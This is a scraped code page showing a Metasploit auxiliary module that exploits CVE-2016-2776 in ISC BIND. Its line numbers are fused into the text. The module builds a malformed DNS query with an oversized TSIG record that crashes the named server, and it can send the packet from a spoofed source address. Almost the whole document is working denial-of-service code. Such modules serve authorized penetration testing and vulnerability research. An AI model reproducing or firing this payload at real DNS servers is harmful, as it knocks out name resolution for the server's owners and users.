Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/dns/bind_tsig.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Capture7include Msf::Auxiliary::UDPScanner8include Msf::Auxiliary::Dos910def initialize(info = {})11super(update_info(info,12'Name' => 'BIND TSIG Query Denial of Service',13'Description' => %q{14A defect in the rendering of messages into packets can cause named to15exit with an assertion failure in buffer.c while constructing a response16to a query that meets certain criteria.1718This assertion can be triggered even if the apparent source address19isn't allowed to make queries.20},21# Research and Original PoC - msf module author22'Author' => [23'Martin Rocha',24'Ezequiel Tavella',25'Alejandro Parodi',26'Infobyte Research Team'27],28'References' => [29['CVE', '2016-2776'],30['URL', 'http://blog.infobytesec.com/2016/10/a-tale-of-dns-packet-cve-2016-2776.html']31],32'DisclosureDate' => '2016-09-27',33'License' => MSF_LICENSE,34'DefaultOptions' => {'ScannerRecvWindow' => 0}35))3637register_options([38Opt::RPORT(53),39OptAddress.new('SRC_ADDR', [false, 'Source address to spoof'])40])4142deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT')43end4445def scan_host(ip)46if datastore['SRC_ADDR']47scanner_spoof_send(payload, ip, rport, datastore['SRC_ADDR'])48else49print_status("Sending packet to #{ip}")50scanner_send(payload, ip, rport)51end52end5354def payload55query = Rex::Text.rand_text_alphanumeric(2) # Transaction ID: 0x8f6556query << "\x00\x00" # Flags: 0x0000 Standard query57query << "\x00\x01" # Questions: 158query << "\x00\x00" # Answer RRs: 059query << "\x00\x00" # Authority RRs: 060query << "\x00\x01" # Additional RRs: 16162# Domain Name63query << get_domain # Random DNS Name64query << "\x00" # [End of name]65query << "\x00\x01" # Type: A (Host Address) (1)66query << "\x00\x01" # Class: IN (0x0001)6768# Additional records. Name69query << ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #192 bytes70query << "\x3d"+Rex::Text.rand_text_alphanumeric(61)71query << "\x00"7273query << "\x00\xfa" # Type: TSIG (Transaction Signature) (250)74query << "\x00\xff" # Class: ANY (0x00ff)75query << "\x00\x00\x00\x00" # Time to live: 076query << "\x00\xfc" # Data length: 2527778# Algorithm Name79query << ("\x3f"+Rex::Text.rand_text_alphanumeric(63))*3 #Random 192 bytes80query << "\x1A"+Rex::Text.rand_text_alphanumeric(26) #Random 26 bytes81query << "\x00"8283# Rest of TSIG84query << "\x00\x00"+Rex::Text.rand_text_alphanumeric(4) # Time Signed: Jan 1, 1970 03:15:07.000000000 ART85query << "\x01\x2c" # Fudge: 30086query << "\x00\x10" # MAC Size: 1687query << Rex::Text.rand_text_alphanumeric(16) # MAC88query << "\x8f\x65" # Original Id: 3670989query << "\x00\x00" # Error: No error (0)90query << "\x00\x00" # Other len: 091end9293def get_domain94domain = "\x06"+Rex::Text.rand_text_alphanumeric(6)95org = "\x03"+Rex::Text.rand_text_alphanumeric(3)96domain+org97end98end99100101